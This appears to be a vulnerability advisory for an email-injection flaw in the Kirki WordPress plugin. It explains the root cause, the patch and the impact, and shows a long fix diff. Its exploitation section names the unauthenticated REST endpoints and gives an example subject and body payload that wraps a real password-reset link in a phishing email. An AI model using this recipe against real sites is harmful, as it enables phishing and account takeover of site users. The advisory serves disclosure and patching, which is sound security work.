Published : July 1, 2026

CVE-2026-12472: Kirki <= 6.0.11 Missing Authorization to Unauthenticated Arbitrary Email Content Injection (Mail Relay / Phishing) via 'emailBody' and 'emailSubject' Parameters PoC, Patch Analysis & Rule

Plugin kirki
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 6.0.11
Patched Version 6.0.12
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12472:
This vulnerability allows an unauthenticated attacker to send arbitrary HTML-injected emails through the WordPress site’s own mail server. The attacker can craft phishing messages that include a real, valid WordPress password-reset URL for any targeted user. The vulnerability affects the Kirki plugin version 6.0.11 and earlier, specifically in the REST API handlers for password reset and username retrieval functionality.

Root Cause:
The root cause is a complete lack of authorization and integrity verification for the email subject and body parameters in the REST API endpoints. In the vulnerable code (CompLibFormHandler.php lines 285-290 and 419-426), the handle_forgot_password and handle_retrieve_username functions directly accept emailSubject and emailBody parameters from the request without verifying that they originated from the server’s admin configuration. The emailBody parameter is a JSON array parsed client-side, where ‘text’ items are concatenated raw (no escaping) and ‘chip’ items can include server-derived data. The function json_decode() is called on the raw input, then iterated to build the email body. This means an attacker can supply arbitrary content for both the subject line and the HTML body, bypassing any server-side template.

Exploitation:
An attacker sends a POST request to the REST API endpoint /wp-json/kirki-component-library/v1/kirki-forgot-password or /wp-json/kirki-component-library/v1/kirki-retrieve-username. The request must include a valid email address (or username) of a registered user, plus attacker-controlled emailSubject and emailBody parameters. For example: emailSubject=”Your password reset request” and emailBody=[{“type”:”text”,”value”:”

Security Alert

Click the link below to reset your password:

Reset Password“}]. The ‘chip’ value “reset_link” is replaced server-side with the genuine WordPress password-reset URL for that user. The attacker controls the surrounding HTML, enabling them to embed the legitimate reset link inside a phishing email that appears to come from the site’s domain, leveraging the site’s SPF/DKIM reputation.

Patch Analysis:
The patch introduces a cryptographic signature mechanism to ensure that the email template (subject and body) originates from the server’s admin configuration and has not been tampered with. In ElementGenerator.php (lines 60-80), the server now generates an HMAC-SHA256 signature over the concatenation of emailSubject and the JSON-encoded emailBody, using AUTH_KEY + AUTH_SALT as the secret. This signature is included in the frontend config as emailSignature. In CompLibFormHandler.php, the handle_forgot_password and handle_retrieve_username functions now call verify_email_template_signature() before processing the email. This function reconstructs the payload from the submitted emailSubject and raw emailBody JSON string, computes the expected HMAC, and compares it using hash_equals(). If the signature is missing or invalid, the request is rejected with a 400 error. Additionally, the emailBody now passes through build_email_body() which constructs the HTML from the verified array, and emailSubject is sanitized with sanitize_text_field() before being passed to wp_mail(). The patch also adds proper permission checks via guest_permissions_check() for all REST API endpoints, though these primarily affect other endpoints; the critical fix is the signature verification.

Impact:
An unauthenticated attacker can send arbitrary HTML emails from the compromised WordPress site’s mail server to any registered user. This enables sophisticated phishing attacks where the email appears legitimate (from the site’s domain, passing SPF/DKIM checks) and contains a real password-reset URL for the targeted user. The attacker can craft the email content to trick the user into clicking a link, potentially leading to account compromise if the user follows the reset link and sets a new password controlled by the attacker. The attacker can also use arbitrary HTML content for other malicious purposes, such as embedding tracking pixels, conducting credential harvesting, or distributing malware. The site’s email reputation is abused for social engineering attacks against its own users.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/kirki/ComponentLibrary/controller/CompLibFormHandler.php
+++ b/kirki/ComponentLibrary/controller/CompLibFormHandler.php
@@ -17,18 +17,18 @@
 	protected $namespace = KIRKI_COMPONENT_LIBRARY_APP_PREFIX . '/v1';

 	public function __construct() {
-		$this->init_rest_api_endpoint( 'kirki-login', WP_REST_Server::CREATABLE, array( $this, 'handle_login' ) );
-		$this->init_rest_api_endpoint( 'kirki-register', WP_REST_Server::CREATABLE, array( $this, 'handle_register' ) );
-		$this->init_rest_api_endpoint( 'kirki-forgot-password', WP_REST_Server::CREATABLE, array( $this, 'handle_forgot_password' ) );
-		$this->init_rest_api_endpoint( 'kirki-change-password', WP_REST_Server::CREATABLE, array( $this, 'handle_change_password' ) );
-		$this->init_rest_api_endpoint( 'kirki-retrieve-username', WP_REST_Server::CREATABLE, array( $this, 'handle_retrieve_username' ) );
-		$this->init_rest_api_endpoint( 'kirki-comment', WP_REST_Server::CREATABLE, array( $this, 'handle_post_comment' ) );
+		$this->init_rest_api_endpoint( 'kirki-login', WP_REST_Server::CREATABLE, array( $this, 'handle_login' ), array( $this, 'guest_permissions_check' ) );
+		$this->init_rest_api_endpoint( 'kirki-register', WP_REST_Server::CREATABLE, array( $this, 'handle_register' ), array( $this, 'guest_permissions_check' ) );
+		$this->init_rest_api_endpoint( 'kirki-forgot-password', WP_REST_Server::CREATABLE, array( $this, 'handle_forgot_password' ), array( $this, 'guest_permissions_check' ) );
+		$this->init_rest_api_endpoint( 'kirki-change-password', WP_REST_Server::CREATABLE, array( $this, 'handle_change_password' ), array( $this, 'guest_permissions_check' ) );
+		$this->init_rest_api_endpoint( 'kirki-retrieve-username', WP_REST_Server::CREATABLE, array( $this, 'handle_retrieve_username' ), array( $this, 'guest_permissions_check' ) );
+		$this->init_rest_api_endpoint( 'kirki-comment', WP_REST_Server::CREATABLE, array( $this, 'handle_post_comment' ), array( $this, 'comment_permissions_check' ) );
 	}

-	public function init_rest_api_endpoint( $endpoint, $methods, $callback ) {
+	public function init_rest_api_endpoint( $endpoint, $methods, $callback, $permission_callback = null ) {
 		add_action(
 			'rest_api_init',
-			function () use ( $endpoint, $methods, $callback ) {
+			function () use ( $endpoint, $methods, $callback, $permission_callback ) {
 				register_rest_route(
 					$this->namespace,
 					'/' . $endpoint,
@@ -36,7 +36,7 @@
 						array(
 							'methods'             => $methods,
 							'callback'            => $callback,
-							'permission_callback' => array( $this, 'get_item_permissions_check' ),
+							'permission_callback' => $permission_callback ? $permission_callback : array( $this, 'get_item_permissions_check' ),
 							'args'                => $this->get_endpoint_args_for_item_schema( $methods ),
 						),
 						'schema' => array( $this, 'get_item_schema' ),
@@ -50,6 +50,21 @@
 		return true;
 	}

+	public function guest_permissions_check( $request ) {
+		return true;
+	}
+
+	public function comment_permissions_check( $request ) {
+		if ( ! is_user_logged_in() && get_option( 'default_comment_status' ) !== 'open' ) {
+        return new WP_Error(
+            'rest_forbidden',
+            __( 'You must be logged in to post comments.' ),
+            array( 'status' => 401 )
+        );
+    }
+    return true;
+	}
+
 	private function wp_unique_username( $username, $suffix = 1 ) {
 		$original_username = $username;
 		while ( username_exists( $username ) ) {
@@ -58,29 +73,146 @@
 		return $username;
 	}

+	private function validate_meta_field( $field_name ) {
+		$allowed_meta_fields = apply_filters( 'kirki_allowed_registration_meta_fields', array(
+			'first_name',
+			'last_name',
+			'phone',
+			'company',
+			'address',
+			'city',
+			'state',
+			'country',
+			'zip',
+		) );
+
+		if ( ! in_array( $field_name, $allowed_meta_fields, true ) ) {
+			return false;
+		}
+
+		if ( preg_match( '/[^a-z0-9_-]/i', $field_name ) ) {
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Verify that the submitted emailSubject + emailBody were signed by the server
+	 * at page-render time and have not been tampered with.
+	 *
+	 * IMPORTANT: $body_raw must be the raw JSON string as received from the request —
+	 * never a re-encoded array. Re-encoding can produce different output than the
+	 * original wp_json_encode() call, breaking the HMAC comparison.
+	 *
+	 * @param string $subject   The email subject string.
+	 * @param string $body_raw  The raw emailBody JSON string from the request.
+	 * @param string $signature The HMAC signature to verify against.
+	 * @return bool
+	*/
+	private function verify_email_template_signature( $subject, $body_raw, $signature ) {
+		if ( empty( $signature ) ) {
+				return false;
+		}
+
+		// Use the raw string directly — same as what was signed in ElementGenerator.
+		// Do NOT json_decode then re-encode here.
+		$payload  = $subject . '|' . $body_raw;
+		$secret   = AUTH_KEY . AUTH_SALT;
+		$expected = hash_hmac( 'sha256', $payload, $secret );
+
+		return hash_equals( $expected, $signature );
+	}
+
+	/**
+	 * Build the email body from a verified emailBody definition.
+	 * Chip values are resolved from a fixed server-controlled map.
+	 *
+	 * @param array $email_body_array
+	 * @param array $chip_data
+	 * @return string
+	 */
+	private function build_email_body( array $email_body_array, array $chip_data ) {
+		$email_body = '';
+		foreach ( $email_body_array as $body_data ) {
+				if ( ! isset( $body_data['type'], $body_data['value'] ) ) {
+						continue;
+				}
+				if ( $body_data['type'] === 'text' ) {
+						$email_body .= $body_data['value'];
+				} elseif ( $body_data['type'] === 'chip' && isset( $chip_data[ $body_data['value'] ] ) ) {
+						$email_body .= $chip_data[ $body_data['value'] ];
+				}
+		}
+		return $email_body;
+	}
+
 	public function handle_post_comment( $request ) {
-		$form_data     = $request->get_body_params();
-		$transiet_name = $this->validate_nonce( 'kirki-comment' );
+    $form_data     = $request->get_body_params();
+    $transient_name = $this->validate_nonce( 'kirki-comment' );  // note: typo fix from $transiet_name
+
+    $comment        = isset( $form_data['comment'] ) ? sanitize_text_field( $form_data['comment'] ) : '';
+    $post_id        = isset( $form_data['post_id'] ) ? absint( $form_data['post_id'] ) : 0;
+    $comment_parent = isset( $form_data['comment_parent'] ) ? absint( $form_data['comment_parent'] ) : 0;
+    $user_id        = get_current_user_id();
+    $user           = $user_id ? get_user_by( 'ID', $user_id ) : null;

-		$name           = isset( $form_data['name'] ) ? sanitize_text_field( $form_data['name'] ) : '';
-		$email          = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';
-		$comment        = isset( $form_data['comment'] ) ? sanitize_text_field( $form_data['comment'] ) : '';
-		$post_id        = isset( $form_data['post_id'] ) ? sanitize_text_field( $form_data['post_id'] ) : 0;
-		$comment_parent = isset( $form_data['comment_parent'] ) ? sanitize_text_field( $form_data['comment_parent'] ) : 0;
-	  $date    = gmdate( 'Y-m-d H:i:s' );
-		$user_id        = get_current_user_id();
-		$user           = get_user_by( 'ID', $user_id );
-		if ( $user ) {
+    // Resolve author identity.
+    if ( $user ) {
 			$name  = $user->get( 'display_name' );
 			$email = $user->get( 'user_email' );
-		}
+    } else {
+			// Anonymous commenter: require name + valid email supplied in the form.
+			$name  = isset( $form_data['name'] )  ? sanitize_text_field( $form_data['name'] )  : '';
+			$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] )       : '';
+
+			if ( empty( $name ) || empty( $email ) || ! is_email( $email ) ) {
+				return new WP_REST_Response(
+					array( 'message' => 'Name and a valid email address are required.' ),
+					400
+				);
+			}
+    }
+
+    $existing_comment_id = isset( $form_data['comment_id'] ) ? absint( $form_data['comment_id'] ) : 0;
+    $is_edit             = $existing_comment_id !== 0;
+    $collection_type     = isset( $form_data['collection_type'] ) ? sanitize_text_field( $form_data['collection_type'] ) : '';
+
+    // -----------------------------------------------------------------------
+    // EDIT PATH
+    // -----------------------------------------------------------------------
+    if ( $is_edit ) {
+			// FIX 1: Editing always requires an authenticated session.
+			if ( ! is_user_logged_in() ) {
+				return new WP_REST_Response(
+						array( 'message' => 'You must be logged in to edit a comment.' ),
+						401
+				);
+			}
+
+			$existing_comment = get_comment( $existing_comment_id );
+
+			if ( ! $existing_comment ) {
+				return new WP_REST_Response(
+						array( 'message' => 'Comment not found.' ),
+						404
+				);
+			}

-		$existing_comment_id = isset( $form_data['comment_id'] ) ? sanitize_text_field( $form_data['comment_id'] ) : 0;
-		$is_edit             = 0 == $existing_comment_id ? false : true;
-		$collection_type     = isset( $form_data['collection_type'] ) ? sanitize_text_field( $form_data['collection_type'] ) : '';
+			// FIX 1 (cont.): strict ownership — user_id 0 must never match.
+			$is_owner    = ( $user_id !== 0 && (int) $existing_comment->user_id === $user_id );
+			$is_moderator = current_user_can( 'moderate_comments' );
+
+			if ( ! $is_owner && ! $is_moderator ) {
+				return new WP_REST_Response(
+					array( 'message' => 'You are not authorized to edit this comment.' ),
+					403
+				);
+			}

-		global $wpdb;
-		if ( $is_edit ) {
+			$date = gmdate( 'Y-m-d H:i:s' );
+
+			global $wpdb;
 			$wpdb->update(
 				$wpdb->comments,
 				array(
@@ -90,6 +222,7 @@
 				),
 				array( 'comment_ID' => $existing_comment_id )
 			);
+
 			apply_filters(
 				'kirki_comment_added-' . $collection_type,
 				array(
@@ -98,44 +231,60 @@
 					'form_data'  => $form_data,
 				)
 			);
-		} else {
-			$comment_data = array(
-				'comment_post_ID'      => $post_id,
-				'user_id'              => $user_id,
-				'comment_author'       => $name,
-				'comment_author_email' => $email,
-				'comment_content'      => $comment,
-				'comment_parent'       => $comment_parent,
-				'comment_approved'     => 1,
-				'comment_date'         => $date,
-				'comment_date_gmt'     => get_gmt_from_date( $date ),
-			);
-			$comment_data = apply_filters( 'kirki_comment-' . $collection_type, $comment_data );
-			$wpdb->insert( $wpdb->comments, $comment_data );
-			$comment_id = (int) $wpdb->insert_id;
-			apply_filters(
-				'kirki_comment_added-' . $collection_type,
-				array(
+
+			delete_transient( $transient_name );
+			return new WP_REST_Response( array( 'message' => 'Comment updated.' ), 200 );
+    }
+
+    // -----------------------------------------------------------------------
+    // INSERT PATH
+    // -----------------------------------------------------------------------
+
+    // FIX 2: Build the comment array without hardcoding comment_approved=1,
+    // then route through wp_new_comment() so WordPress moderation, spam
+    // filters (Akismet, etc.), and flood checks all apply normally.
+    $comment_data = array(
+			'comment_post_ID'      => $post_id,
+			'user_id'              => $user_id,
+			'comment_author'       => $name,
+			'comment_author_email' => $email,
+			'comment_author_IP'    => isset( $_SERVER['REMOTE_ADDR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) : '',
+			'comment_agent'        => isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : '',
+			'comment_content'      => $comment,
+			'comment_parent'       => $comment_parent,
+    );
+
+    $comment_data = apply_filters( 'kirki_comment-' . $collection_type, $comment_data );
+
+    // wp_new_comment() runs duplicate/flood/spam checks, fires hooks, and
+    // respects the site's moderation settings.
+    $comment_id = wp_new_comment( $comment_data, true );  // true = return WP_Error on failure
+
+    if ( is_wp_error( $comment_id ) ) {
+			return new WP_REST_Response(
+					array( 'message' => $comment_id->get_error_message() ),
+					400
+			);
+    }
+
+    if ( ! $comment_id ) {
+			return new WP_REST_Response(
+					array( 'message' => 'Failed to add comment.' ),
+					400
+			);
+    }
+
+    apply_filters(
+			'kirki_comment_added-' . $collection_type,
+			array(
 					'comment_ID' => $comment_id,
 					'user_id'    => $user_id,
 					'form_data'  => $form_data,
-				)
-			);
-		}
+			)
+    );

-		// Check if the comment was added successfully.
-		if ( $comment_id ) {
-			$response = array(
-				'message' => 'Comment Added',
-			);
-			delete_transient( $transiet_name );
-			return new WP_REST_Response( $response, 200 );
-		} else {
-			$response = array(
-				'message' => 'Invalid form data',
-			);
-			return new WP_REST_Response( $response, 400 );
-		}
+    delete_transient( $transient_name );
+    return new WP_REST_Response( array( 'message' => 'Comment added.' ), 200 );
 	}


@@ -154,9 +303,9 @@
 				$username = $user->get( 'user_login' );
 			} else {
 				$response = array(
-					'message' => 'User not found',
+					'message' => 'Invalid username or password',
 				);
-				return new WP_REST_Response( $response, 404 );
+				return new WP_REST_Response( $response, 401 );
 			}
 		}

@@ -174,9 +323,9 @@

 			if ( is_wp_error( $user ) ) {
 				$response = array(
-					'message' => $user->errors[ array_key_first( $user->errors ) ],
+					'message' => 'Invalid username or password',
 				);
-				return new WP_REST_Response( $response, 500 );
+				return new WP_REST_Response( $response, 401 );
 			}
 			$response = array(
 				'message' => 'User logged in',
@@ -227,7 +376,9 @@

 		foreach ( $form_data as $name => $value ) {
 			if ( $name !== 'username' && $name !== 'email' && $name !== 'password' && $name !== 'confirm_password' ) {
-				$user_data['meta_input'][ KIRKI_COMPONENT_LIBRARY_APP_PREFIX . '_' . $name ] = $value;
+				if ( $this->validate_meta_field( $name ) ) {
+					$user_data['meta_input'][ KIRKI_COMPONENT_LIBRARY_APP_PREFIX . '_' . $name ] = sanitize_text_field( $value );
+				}
 			}
 		}

@@ -270,7 +421,7 @@
 			$user = get_user_by( 'email', $email );

 			if ( ! $user ) {
-				return new WP_REST_Response( array( 'message' => 'User not found' ), 404 );
+				return new WP_REST_Response( array( 'message' => 'If an account exists with this email, you will receive a password reset link.' ), 200 );
 			}

 			$username = $user->get( 'user_login' );
@@ -285,17 +436,17 @@

 			if ( ! $user ) {
 				$response = array(
-					'message' => 'User not found',
+					'message' => 'If an account exists with this information, you will receive a password reset link.',
 				);
-				return new WP_REST_Response( $response, 404 );
+				return new WP_REST_Response( $response, 200 );
 			}

 			$user_email = $user->get( 'user_email' );
 			if($email !== $user_email) {
 				$response = array(
-					'message' => 'Invalid email address',
+					'message' => 'If an account exists with this information, you will receive a password reset link.',
 				);
-				return new WP_REST_Response( $response, 404 );
+				return new WP_REST_Response( $response, 200 );
 			}
 			$email = $user_email;

@@ -319,27 +470,29 @@
 				'reset_link'  => "$url?action=rp&key=$key&login=" . rawurlencode( $username ),
 			);

-			$email_subject = isset( $form_data['emailSubject'] ) ? sanitize_text_field( $form_data['emailSubject'] ) : '';
-			$email_body    = '';
+			$email_subject   = isset( $form_data['emailSubject'] ) ? $form_data['emailSubject'] : '';
+			$email_body_raw  = isset( $form_data['emailBody'] ) ? $form_data['emailBody'] : '[]';
+			$email_signature = isset( $form_data['emailSignature'] ) ? $form_data['emailSignature'] : '';

-			if ( isset( $form_data['emailBody'] ) ) {
-				$email_body_array = json_decode( $form_data['emailBody'], true );
-				foreach ( $email_body_array as $key => $body_data ) {
-					if ( isset( $body_data['type'] ) && isset( $body_data['value'] ) && $body_data['type'] === 'text' ) {
-						$email_body .= $body_data['value'];
-					} elseif ( isset( $body_data['type'] ) && isset( $body_data['value'] ) && $body_data['type'] === 'chip' ) {
-						$email_body .= $chip_data[ $body_data['value'] ];
-					}
-				}
+			if ( ! $this->verify_email_template_signature( $email_subject, $email_body_raw, $email_signature ) ) {
+				wp_send_json_error( array( 'message' => 'Invalid request' ), 400 );
+				exit;
 			}

+			$email_body_array = json_decode( $email_body_raw, true );
+			if ( ! is_array( $email_body_array ) ) {
+				$email_body_array = array();
+			}
+
+			$email_body = $this->build_email_body( $email_body_array, $chip_data );
+
 			$email_body = nl2br( $email_body );

 			$headers = array( 'Content-Type: text/html; charset=UTF-8' );

 			// Send custom email.
 			apply_filters( 'kirki_element_smtp', '' );
-			$sent = wp_mail( $email, $email_subject, $email_body, $headers );
+			$sent = wp_mail( $email, sanitize_text_field( $email_subject ), $email_body, $headers );

 			if ( $sent ) {
 				$response = array(
@@ -407,7 +560,7 @@
 		$user = get_user_by( 'email', $email );

 		if ( ! $user ) {
-			wp_send_json_error( array( 'message' => 'No user found with that email address.' ), 404 );
+			wp_send_json_success( array( 'message' => 'If an account exists with this email, you will receive your username.' ) );
 			exit;
 		}

@@ -419,26 +572,28 @@
 			'sitename'    => get_bloginfo( 'name' ),
 		);

-		$email_subject = isset( $form_data['emailSubject'] ) ? sanitize_text_field( $form_data['emailSubject'] ) : '';
-		$email_body    = '';
+		$email_subject   = isset( $form_data['emailSubject'] ) ? $form_data['emailSubject'] : '';
+		$email_body_raw  = isset( $form_data['emailBody'] ) ? $form_data['emailBody'] : '[]';
+		$email_signature = isset( $form_data['emailSignature'] ) ? $form_data['emailSignature'] : '';

-		if ( isset( $form_data['emailBody'] ) ) {
-			$email_body = json_decode( $form_data['emailBody'], true );
-			foreach ( $email_body as $key => $body_data ) {
-				if ( isset( $body_data['type'] ) && isset( $body_data['value'] ) && $body_data['type'] === 'text' ) {
-					$email_body = $email_body . $body_data['value'];
-				} elseif ( isset( $body_data['type'] ) && isset( $body_data['value'] ) && $body_data['type'] === 'chip' ) {
-					$email_body = $email_body . $chip_data[ $body_data['value'] ];
-				}
-			}
+		if ( ! $this->verify_email_template_signature( $email_subject, $email_body_raw, $email_signature ) ) {
+			wp_send_json_error( array( 'message' => 'Invalid request' ), 400 );
+			exit;
+		}
+
+		$email_body_array = json_decode( $email_body_raw, true );
+		if ( ! is_array( $email_body_array ) ) {
+			$email_body_array = array();
 		}

+		$email_body = $this->build_email_body( $email_body_array, $chip_data );
+
 		$email_body = nl2br( $email_body );

 		$headers = array( 'Content-Type: text/html; charset=UTF-8' );

 		apply_filters( 'kirki_element_smtp', '' );
-		$email_sent = wp_mail( $email, $email_subject, $email_body, $headers );
+		$email_sent = wp_mail( $email, sanitize_text_field( $email_subject ), $email_body, $headers );

 		if ( ! $email_sent ) {
 			wp_send_json_error( array( 'message' => 'Failed to send email. Please try again later.' ), 500 );
@@ -450,6 +605,13 @@
 		exit;
 	}

+	/**
+	 * Validate the nonce from the request header and return true on success.
+	 * Exits with an error response on failure.
+	 *
+	 * @param string $element_name
+	 * @return true
+	 */
 	public function validate_nonce( $element_name ) {
 		$nonce = isset( $_SERVER['HTTP_X_WP_ELEMENT_NONCE'] )
 		? sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WP_ELEMENT_NONCE'] ) )
--- a/kirki/ComponentLibrary/controller/ElementGenerator.php
+++ b/kirki/ComponentLibrary/controller/ElementGenerator.php
@@ -40,22 +40,57 @@


 	private function add_element_config() {
-		$id = $this->element['id'];
-		if (
-		$this->element['name'] === 'kirki-login' || $this->element['name'] === 'kirki-register' ||
-		$this->element['name'] === 'kirki-forgot-password' || $this->element['name'] === 'kirki-change-password' ||
-		$this->element['name'] === 'kirki-retrieve-username' || $this->element['name'] === 'kirki-comment'
-		) {
-			$nonce                            = $this->add_nonce_to_element( $this->element );
-			$this->component_lib_forms[ $id ] = array_merge(
-				$this->properties['attributes'],
-				$this->setting,
-				array(
-					'name'  => $this->element['name'],
-					'nonce' => $nonce,
-				)
-			);
-		}
+    $id = $this->element['id'];
+    if (
+        $this->element['name'] === 'kirki-login' || $this->element['name'] === 'kirki-register' ||
+        $this->element['name'] === 'kirki-forgot-password' || $this->element['name'] === 'kirki-change-password' ||
+        $this->element['name'] === 'kirki-retrieve-username' || $this->element['name'] === 'kirki-comment'
+    ) {
+        $nonce  = $this->add_nonce_to_element( $this->element );
+        $config = array_merge(
+					$this->properties['attributes'],
+					$this->setting,
+					array(
+						'name'  => $this->element['name'],
+						'nonce' => $nonce,
+					)
+        );
+
+        // SECURITY FIX: Sign the email template so the REST handler can verify
+        // it was not tampered with — without any extra DB queries.
+        // Always generate a signature for these element types, even when
+        // settings are empty, so the client always has a value to send.
+        if ( in_array( $this->element['name'], array( 'kirki-forgot-password', 'kirki-retrieve-username' ), true ) ) {
+					if ( ! isset( $config['emailSubject'] ) ) {
+							$config['emailSubject'] = '';
+					}
+					if ( ! isset( $config['emailBody'] ) ) {
+							$config['emailBody'] = array();
+					}
+					$config['emailSignature'] = $this->sign_email_template(
+							$config['emailSubject'],
+							$config['emailBody']
+					);
+        }
+
+        $this->component_lib_forms[ $id ] = $config;
+    }
+	}
+
+	/**
+	 * Produce an HMAC signature over the admin-configured email template.
+	 * Uses WordPress AUTH_KEY + AUTH_SALT so it is server-secret and
+	 * never reproducible by an external attacker.
+	 *
+	 * @param string       $subject
+	 * @param array|string $body
+	 * @return string  Hex HMAC-SHA256 signature.
+	 */
+	private function sign_email_template( $subject, $body ) {
+    $body_string = is_array( $body ) ? wp_json_encode( $body, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE ) : (string) $body;
+    $payload     = $subject . '|' . $body_string;
+    $secret      = AUTH_KEY . AUTH_SALT;
+    return hash_hmac( 'sha256', $payload, $secret );
 	}

 	public function generate_common_element( $hide = false, $children_html = false ) {
--- a/kirki/includes/Ajax.php
+++ b/kirki/includes/Ajax.php
@@ -337,6 +337,9 @@
 		}

 		if ( $endpoint === 'get-wp-single-post' ) {
+			if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+				wp_send_json_error( 'Not authorized', 401 );
+			}
 			$post_id = (int) HelperFunctions::sanitize_text( isset( $_GET['post_id'] ) ? $_GET['post_id'] : null );
 			$post    = get_post( $post_id );

@@ -424,15 +427,18 @@
 			Symbol::fetch_list( false, true );
 		}

-        if ($endpoint === 'get-page-custom-section') {
-            $type = HelperFunctions::sanitize_text(isset($_GET['type']) ? $_GET['type'] : '');
-            wp_send_json(HelperFunctions::get_page_custom_section($type, true));
-        }
+		if ($endpoint === 'get-page-custom-section') {
+			$type = HelperFunctions::sanitize_text(isset($_GET['type']) ? $_GET['type'] : '');
+			wp_send_json(HelperFunctions::get_page_custom_section($type, true));
+		}

 		/**
 		 * GET Single prebuilt html API
 		 */
 		if ( $endpoint === 'get-pre-built-html' ) {
+			if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+				wp_send_json_error( 'Not authorized', 401 );
+			}
 			Symbol::get_pre_built_html_using_url();
 		}

@@ -549,6 +555,9 @@
 		 * AUTHOR LIST
 		 */
 		if ( 'get-authors' === $endpoint ) {
+			if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+				wp_send_json_error( 'Not authorized', 401 );
+			}
 			WordpressData::get_author_list();
 		}

@@ -557,6 +566,9 @@
 		 */

 		if ( 'get-roles' === $endpoint ) {
+			if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+				wp_send_json_error( 'Not authorized', 401 );
+			}
 			WordpressData::get_role_list();
 		}

@@ -566,6 +578,9 @@
 		if (
 			'get-users' === $endpoint
 		) {
+			if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+				wp_send_json_error( 'Not authorized', 401 );
+			}
 			WordpressData::get_user_list();
 		}

@@ -584,6 +599,9 @@
 		}

 		if ( $endpoint === 'get-common-data' ) {
+			if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+				wp_send_json_error( 'Not authorized', 401 );
+			}
 			WpAdmin::get_common_data();
 		}

@@ -755,6 +773,9 @@
 		// From manipulation from admin dashboard.

 		if ( $endpoint === 'get-editor-read-only-access-data' ) {
+			if ( ! HelperFunctions::has_access( KIRKI_ACCESS_LEVELS['FULL_ACCESS'] ) ) {
+				wp_send_json_error( 'Not authorized', 401 );
+			}
 			Page::get_editor_read_only_access_data();
 		}
 	}
--- a/kirki/includes/Ajax/Symbol.php
+++ b/kirki/includes/Ajax/Symbol.php
@@ -349,12 +349,43 @@
 	}

 	public static function get_pre_built_html_using_url() {
-		$url     = isset( $_GET['elementUrl'] ) ? $_GET['elementUrl'] : null;
-		$new_url = sanitize_url( $url );
+		 $raw_url = isset( $_GET['elementUrl'] ) ? wp_unslash( $_GET['elementUrl'] ) : '';

-		$data = HelperFunctions::http_get( $new_url, array( 'sslverify' => false ) );
+    if ( empty( $raw_url ) ) {
+        wp_send_json_error( 'Missing elementUrl', 400 );
+    }
+		$allowed_host = wp_parse_url( home_url(), PHP_URL_HOST );
+    $requested    = wp_parse_url( $raw_url );
+
+    if (
+			! $requested ||
+			empty( $requested['host'] ) ||
+			strtolower( $requested['host'] ) !== strtolower( $allowed_host )
+    ) {
+        wp_send_json_error( 'URL not permitted', 403 );
+    }
+
+		$resolved_ip = gethostbyname( $requested['host'] );
+
+		if ( self::is_private_or_loopback_ip( $resolved_ip ) ) {
+      wp_send_json_error( 'URL not permitted', 403 );
+    }
+
+		$safe_url = self::rebuild_url( $requested );
+
+		$response = HelperFunctions::http_get( $safe_url, array(
+			'timeout'   => 30,
+			'sslverify' => false,
+			'redirection' => 0,
+    ));
+
+		if ( is_wp_error( $response ) ) {
+      wp_send_json_error( 'Request failed', 502 );
+    }
+
+		$body = wp_remote_retrieve_body( $response );
+    $data = json_decode( $body, true );

-		$data = json_decode( $data, true );

 		$params = array(
 			'blocks'                 => $data['blocks'],
@@ -371,4 +402,34 @@

 		wp_send_json_success( $html );
 	}
+
+	/**
+ 	* Returns true for any IP that should never be reached from a server-side fetch.
+ 	* Covers loopback, RFC 1918, link-local (APIPA / cloud metadata), and IPv6 equivalents.
+ 	*/
+	private static function is_private_or_loopback_ip( string $ip ): bool {
+		if ( ! filter_var( $ip, FILTER_VALIDATE_IP ) ) {
+			return true;
+		}
+
+		return ! filter_var(
+			$ip,
+			FILTER_VALIDATE_IP,
+			FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
+		);
+	}
+
+
+	/**
+	 * Reconstructs a URL from wp_parse_url parts so the raw user string
+	 * is never passed directly to the HTTP client.
+	 */
+	private static function rebuild_url( array $parts ): string {
+		$scheme = isset( $parts['scheme'] ) && strtolower( $parts['scheme'] ) === 'https' ? 'https' : 'https';
+		$host   = $parts['host'];
+		$path   = isset( $parts['path'] ) ? $parts['path'] : '/';
+		$query  = isset( $parts['query'] ) ? '?' . $parts['query'] : '';
+
+		return "{$scheme}://{$host}{$path}{$query}";
+	}
 }
--- a/kirki/includes/Frontend/Preview/Preview.php
+++ b/kirki/includes/Frontend/Preview/Preview.php
@@ -1936,7 +1936,9 @@
 				$content_count = count( $content );
 				for ( $i = 0; $i < $content_count; $i++ ) {
 					if ( is_array( $content[ $i ] ) ) {
-						$html .= $this->recGenHTML( $content[ $i ]['id'], $options );
+						if( isset($content[ $i ]['id']) ){
+							$html .= $this->recGenHTML( $content[ $i ]['id'], $options );
+						}
 					} else {
 						$html .= htmlspecialchars( $content[ $i ] );
 					}
--- a/kirki/kirki.php
+++ b/kirki/kirki.php
@@ -7,7 +7,7 @@
  * Plugin Name: Kirki
  * Plugin URI: https://kirki.com
  * Description: Kirki is an all-in-one no-code builder that empowers users to build professional-grade WordPress sites without writing any code. It’s a promising glimpse into the future of website development.
- * Version: 6.0.11
+ * Version: 6.0.12
  * Author: Kirki
  * Author URI: https://kirki.com
  * License: GPLv2 or later
@@ -26,7 +26,7 @@

 // Define KIRKI_VERSION early to prevent bundled Kirki versions from loading.
